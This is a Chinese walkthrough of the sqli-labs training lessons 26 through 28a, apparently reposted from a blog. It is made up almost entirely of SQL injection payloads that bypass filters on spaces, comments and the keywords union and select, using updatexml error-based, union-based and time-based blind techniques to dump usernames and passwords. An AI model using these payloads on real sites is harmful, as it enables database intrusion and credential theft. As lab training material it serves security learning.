sql-lib闯关之lesson26-28a

LESS26
1.观察了一波源码,发现存在好多转义,限制比较多了。

避免转义的方法:通过替换符号 

and 等价于&&
or等价于 ||
like 等价于=
<> 等价于!=

注释符用;%00替代

空格用%a0替代

法一:updatexml注入
①查找当前数据库
输入:?id=1'|| updatexml(1,concat(0x7e,database()),1) ;%00
或者输入:?id=1’ || updatexml(1,concat(0x7e,database()),1) || ‘1’ = ‘1
效果相同~


②查表
输入:(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=0x7365637572697479))),1) ;%00


③查字段
输入:?id=1' || updatexml(1, concat(0x7e, (select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name='users'))) ,1)  || '1'='1


④查值
输入:?id=1' || updatexml(1, concat(0x7e, (select (group_concat(  concat_ws(0x7e,username,passwoorrd)  )) from (security.users))) ,1)  || '1'='1

这种就是通过等价的符号替换,or and 以及空格
空格是通过()来满足分割的需求的。
另外其中有缺点 就是显示不全的问题 可以用 where id =x的方法来显示。
法二:利用 %a0代替空格   ;%00 代替注释符
查值
输入:?id=-1' %a0 union%a0 select%a0 1,2,(select%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00





LESS26a
存在一些windows中阿帕奇的转义问题,可以再docker里运行避免问题。

观察源码后发现参数包裹不同,多了一个),另外其屏蔽了输出错误,所以不可再用updatatexml报错注入。

判断参数:



 替代绕过
输入:?id=0') %a0 union%a0 select%a0 1,2,(select%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00

LESS27
观察源码发现又多了union 和select 的转义。

 
法一
空格用%a0代替,并且union和select混合大小写:
输入:?id=0' %a0 uNIon%a0 sELect%a0 1,2,select %a0(  concat_ws(0x7e,username,password)) %a0from (%a0security.users )  %a0 limit %a0 3,1   ;%00

 我们改变limit函数来获得所有数值。


法二
updatexml报错注入
输入:?id=1'  %a0 ||  updatexml(1, concat(0x7e, (SElect %a0  concat_ws(0x7e,username,password) from  %a0  security.users  %a0 limit %a0 1,1  ) ),1)  || %a0 '1'='1


LESS27a
这关的区别就是闭合的方法不同 改为双引号闭合,
可以使用时间盲注 %26%26 代表&&
输入:?id=1" %26%26 if( length(database())>1, 1, sleep(5)    )  %26%26 %0a  "1"="1 


LESS28
输入:?id=0')  %a0 union   %a0  select  %a0  1,2, (concat_ws(0x7e,username,password)) %a0  from  %a0   (security.users)  limit %a0  3,1 ;%00

LESS28a
这关区别变为双引号~

原文地址:https://www.cnblogs.com/c1047509362/p/12422649.html